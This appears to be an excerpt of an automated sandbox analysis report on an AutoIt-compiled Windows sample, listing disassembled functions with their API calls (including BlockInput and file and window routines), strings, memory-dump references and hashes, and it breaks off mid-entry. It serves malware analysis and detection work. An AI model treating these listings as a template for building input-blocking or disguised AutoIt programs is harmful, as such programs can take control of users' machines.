Function 00F6676B Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00F66766,?,?,00000008,?,?,00F6FEFE,00000000), ref: 00F66998

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 59df2218c0b081d387816f73ea2a629e1059bff8c75c314c7d54a755f44f353c
Instruction ID: 00b12ad79de2b50be961b6d601fee8a84e142033f36bbb95643e2300e9ddfcd6
Opcode Fuzzy Hash: 59df2218c0b081d387816f73ea2a629e1059bff8c75c314c7d54a755f44f353c
Instruction Fuzzy Hash: 14B12B32A10609DFD719CF28C48AB657BE0FF45364F298658E899CF2A2C735E991DB40

Function 00F4B119 Relevance: 1.8, Strings: 1, Instructions: 511COMMON

Download Yara Rule

Strings

, xrefs: 00F8851F

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 270566680d017628e8b518a002b3efb9227ba676a96b725a6ba5dfd5d088e012
Instruction ID: fb80c71abb233f13bcbf9e7b15aaaec826656c41d927b7e4368a4d5a816650f7
Opcode Fuzzy Hash: 270566680d017628e8b518a002b3efb9227ba676a96b725a6ba5dfd5d088e012
Instruction Fuzzy Hash: B8126071D002299BDB14DF58C8817EEBBB5FF48710F54819AE849EB252DB349E81EB90

Function 00FAEAA2 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 00FAEABD

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: fef0bc0a11e18e4d4922d2d1ba156fe79f57e3f94747abed20775f4fcd4e0406
Instruction ID: a11397f7d31d0ebb43f08428c9c3635026f12abedef3f44a0f0e21c70bb6e7b2
Opcode Fuzzy Hash: fef0bc0a11e18e4d4922d2d1ba156fe79f57e3f94747abed20775f4fcd4e0406
Instruction Fuzzy Hash: 59E04F762002049FC710EF69D805E9AF7E9AF99770F00841AFD49DB351DB74EC40ABA0

Function 00F509D5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000209E1,00F503EE), ref: 00F509DA

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 5157a7beacb02eb715061046f38e2089e4fe336aa7a375b2a62594e3bcb19a7e
Instruction ID: fada75bd749f0a14cee2ba4346b6865cfc1e244b74d9559c94e70a1662f1b379
Opcode Fuzzy Hash: 5157a7beacb02eb715061046f38e2089e4fe336aa7a375b2a62594e3bcb19a7e
Instruction Fuzzy Hash:

Function 00F5781B Relevance: 1.5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

0, xrefs: 00F5798B

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 9084b4e029052128895840c3c28e948f6724b1d83b91d22a18243ac96ad56844
Instruction ID: 7ca8006ddbb72bebf824a7218cef32f4ebfdd5efc998caa8230a32d7101dde20
Opcode Fuzzy Hash: 9084b4e029052128895840c3c28e948f6724b1d83b91d22a18243ac96ad56844
Instruction Fuzzy Hash: 68516A72E0CB055BDB387528A85D7BF63859B12363F280509DF82D7692C619DE0EF361

Function 00F66DD9 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b7a73798764c0114fbf470992fa2e2ad1ec736c6baf2f5ad112361ec32afb16
Instruction ID: 9ce41943db2bb6b3d906f9ecbe0288824c9628d047b7a2ade852174bd5917f8d
Opcode Fuzzy Hash: 4b7a73798764c0114fbf470992fa2e2ad1ec736c6baf2f5ad112361ec32afb16
Instruction Fuzzy Hash: 88324622D2AF414DD723A634CC22335634AAFB73D9F14C737F81AB59A5EB29C4836140

Function 00F4CC39 Relevance: .6, Instructions: 635COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c02b9e24f49f6ad4655dc17f9fad17ea7c3f4830a75a66fb7b8cf8e57729b02
Instruction ID: 753009225e8c38a4174f339edfc0fc9569c3eb96040b52d9fb67618baa161ac5
Opcode Fuzzy Hash: 4c02b9e24f49f6ad4655dc17f9fad17ea7c3f4830a75a66fb7b8cf8e57729b02
Instruction Fuzzy Hash: 7D320832E001558BDF28EF29C4D46FD7BA1EF45320F28856ADA599B291D234DD81FBE0

Function 00F37920 Relevance: .6, Instructions: 563COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21d9d7ce2d9e68a6edb9ea1c68a41fb20519bb8fe8588ed879e5f19be21ff385
Instruction ID: e6a708b933df47b1ada736e8f6e7ce9b65109f61f0685da2893a61080ac4c913
Opcode Fuzzy Hash: 21d9d7ce2d9e68a6edb9ea1c68a41fb20519bb8fe8588ed879e5f19be21ff385
Instruction Fuzzy Hash: CF22E2B0E0460ADFDF14DF64C841BAEB7B5FF44320F208129E816A7291EB79AD14EB51

Function 00F391C0 Relevance: .5, Instructions: 475COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4374a6fee492805a5636bad2e29c7070871bfb14a7722bef8e36a2e4deb20c2e
Instruction ID: 5feda049f2ab20929efd7eed60457e27b45a77e5447ca5741f2b497885658801
Opcode Fuzzy Hash: 4374a6fee492805a5636bad2e29c7070871bfb14a7722bef8e36a2e4deb20c2e
Instruction Fuzzy Hash: E302C9B1E00109EBDF05DF54D841AAEBBB5FF48310F10816AE81A9B291EB75ED14EB91

Function 00F69EEE Relevance: .3, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 183b1a66db54233ae572f645c5f14f8257c2ede333676d8de1ca35153c6a171a
Instruction ID: c8d02267ac7aa0af9556d7be5a6ae5c0a6aa267f864302ac815fdca454af1fee
Opcode Fuzzy Hash: 183b1a66db54233ae572f645c5f14f8257c2ede333676d8de1ca35153c6a171a
Instruction Fuzzy Hash: 25B11120E2AF444DD32396398931336B75DAFBB2D5F92D31BFC2674D22EB2286835141

Function 00F51C77 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction ID: 8cab826f732e3b511f41c46b7e0c8a15c8c6172b9a10cb92c4d75a7c111c9462
Opcode Fuzzy Hash: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction Fuzzy Hash: A29177339080A34ADB294639853567EFFF16A523B371A079DDDF2CA1C1EE10A95CF620

Function 00F51F32 Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05e0b846b00456d0f1e87463b9d189974beed2fe63262d4392584e128a114ea2
Instruction ID: 58b162f89e6c1fcba77c3c6dd79732bba49fd1b010679bcb440f887914c64b3f
Opcode Fuzzy Hash: 05e0b846b00456d0f1e87463b9d189974beed2fe63262d4392584e128a114ea2
Instruction Fuzzy Hash: 18916373A094A309DBA94239847413EFFE15A933B371A079DDEF2CA1C5EE24955CF620

Function 00F519B0 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction ID: 9a22468c55fccbea025610127bad335e4c079c62c04e1f49bf4afe5371d5a7ea
Opcode Fuzzy Hash: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction Fuzzy Hash: 759177736090A349DB2E427A857427DFFE16A923B331A079DD9F2CA1C1FD14A55CF620

Function 00F57A4A Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb0caf91f67bcedb3ed14278e37c6a83261d41d4c8386aaa09e8710d298fe3e2
Instruction ID: a1a9275cb07d36afcc7641ca0b947f7ffcdc2762c2cbdbc294570726c008b332
Opcode Fuzzy Hash: fb0caf91f67bcedb3ed14278e37c6a83261d41d4c8386aaa09e8710d298fe3e2
Instruction Fuzzy Hash: 45617831A0870966DA34B928BC99BBE3384DF81363F140919EF43DB295DA199E4FB315

Function 00F57CA7 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbbaa452d3aaa45e5720b6d1cc5760d33cddaecc180d5e0053b8748e02df844c
Instruction ID: f5d9c42dea02fc2af633262cefb09e8eb07d5e54e33c8bb89093d969778b7b00
Opcode Fuzzy Hash: dbbaa452d3aaa45e5720b6d1cc5760d33cddaecc180d5e0053b8748e02df844c
Instruction Fuzzy Hash: 88619B31E0870957DA3879287C56BBF33A89F41763F100959EF43DB281EA16AD4FB251

Function 00F51706 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction ID: 52ced95e8dffbc645951d4de2489d1e0430ec2f7b9a9ebba00e7f7988bb47f9d
Opcode Fuzzy Hash: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction Fuzzy Hash: D48156739090A309DB69423D853467EFFE17A923B371A079DD9F2CA1C1EE14A55CF620

Function 00FA2046 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d0f79772ac88e6f2a3c1afb829d6d1061d357a38b5b19be355ecb2ba845e236
Instruction ID: 96f9727f363dc6c91deba2dc8c13041258782de077c4565a6ccaca3bdb7c763c
Opcode Fuzzy Hash: 4d0f79772ac88e6f2a3c1afb829d6d1061d357a38b5b19be355ecb2ba845e236
Instruction Fuzzy Hash: 6621B7727206118BD728CF79C92367E73E5AB54320F15862EE4A7C37C5DE7AA904DB80

Function 00FB2ADE Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 486filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00FB2B30
DeleteObject.GDI32(00000000), ref: 00FB2B43
DestroyWindow.USER32 ref: 00FB2B52
GetDesktopWindow.USER32 ref: 00FB2B6D
GetWindowRect.USER32(00000000), ref: 00FB2B74
SetRect.USER32(?,00000000,00000000,00000007,00000002), ref: 00FB2CA3
AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 00FB2CB1
CreateWindowExW.USER32(?,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00FB2CF8
GetClientRect.USER32(00000000,?), ref: 00FB2D04
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00FB2D40
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00FB2D62
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00FB2D75
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00FB2D80
GlobalLock.KERNEL32(00000000), ref: 00FB2D89
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00FB2D98
GlobalUnlock.KERNEL32(00000000), ref: 00FB2DA1
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00FB2DA8
GlobalFree.KERNEL32(00000000), ref: 00FB2DB3
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00FB2DC5
OleLoadPicture.OLEAUT32(?,00000000,00000000,00FCFC38,00000000), ref: 00FB2DDB
GlobalFree.KERNEL32(00000000), ref: 00FB2DEB
CopyImage.USER32(00000007,00000000,00000000,00000000,00002000), ref: 00FB2E11
SendMessageW.USER32(00000000,00000172,00000000,00000007), ref: 00FB2E30
SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00FB2E52
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00FB303F

Strings

, xrefs: 00FB2FC5
static, xrefs: 00FB2D3A, 00FB2E91
DISPLAY, xrefs: 00FB2EA2
AutoIt v3, xrefs: 00FB2CF2

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 10556a92cca5b9ff756b9c5180eb3d51d234f9f5011ae7c713ead71d3e318f4d
Instruction ID: e1cdc61f8c6ca3d39b99cba0674b06e384a9396d30d75ffe4e17439e92ca3be4
Opcode Fuzzy Hash: 10556a92cca5b9ff756b9c5180eb3d51d234f9f5011ae7c713ead71d3e318f4d
Instruction Fuzzy Hash: A2025071900209AFDB14DF65CD89EAE7BB9EF48720F048558F919AB2A1CB74DD01EF60

Function 00FC70D5 Relevance: 49.8, APIs: 33, Instructions: 273COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 00FC712F
GetSysColorBrush.USER32(0000000F), ref: 00FC7160
GetSysColor.USER32(0000000F), ref: 00FC716C
SetBkColor.GDI32(?,000000FF), ref: 00FC7186
SelectObject.GDI32(?,?), ref: 00FC7195
InflateRect.USER32(?,000000FF,000000FF), ref: 00FC71C0
GetSysColor.USER32(00000010), ref: 00FC71C8
CreateSolidBrush.GDI32(00000000), ref: 00FC71CF
FrameRect.USER32(?,?,00000000), ref: 00FC71DE
DeleteObject.GDI32(00000000), ref: 00FC71E5
InflateRect.USER32(?,000000FE,000000FE), ref: 00FC7230
FillRect.USER32(?,?,?), ref: 00FC7262
GetWindowLongW.USER32(?,000000F0), ref: 00FC7284

Part of subcall function 00FC73E8: GetSysColor.USER32(00000012), ref: 00FC7421
Part of subcall function 00FC73E8: SetTextColor.GDI32(?,?), ref: 00FC7425
Part of subcall function 00FC73E8: GetSysColorBrush.USER32(0000000F), ref: 00FC743B
Part of subcall function 00FC73E8: GetSysColor.USER32(0000000F), ref: 00FC7446
Part of subcall function 00FC73E8: GetSysColor.USER32(00000011), ref: 00FC7463
Part of subcall function 00FC73E8: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00FC7471
Part of subcall function 00FC73E8: SelectObject.GDI32(?,00000000), ref: 00FC7482
Part of subcall function 00FC73E8: SetBkColor.GDI32(?,00000000), ref: 00FC748B
Part of subcall function 00FC73E8: SelectObject.GDI32(?,?), ref: 00FC7498
Part of subcall function 00FC73E8: InflateRect.USER32(?,000000FF,000000FF), ref: 00FC74B7
Part of subcall function 00FC73E8: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00FC74CE
Part of subcall function 00FC73E8: GetWindowLongW.USER32(00000000,000000F0), ref: 00FC74DB

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
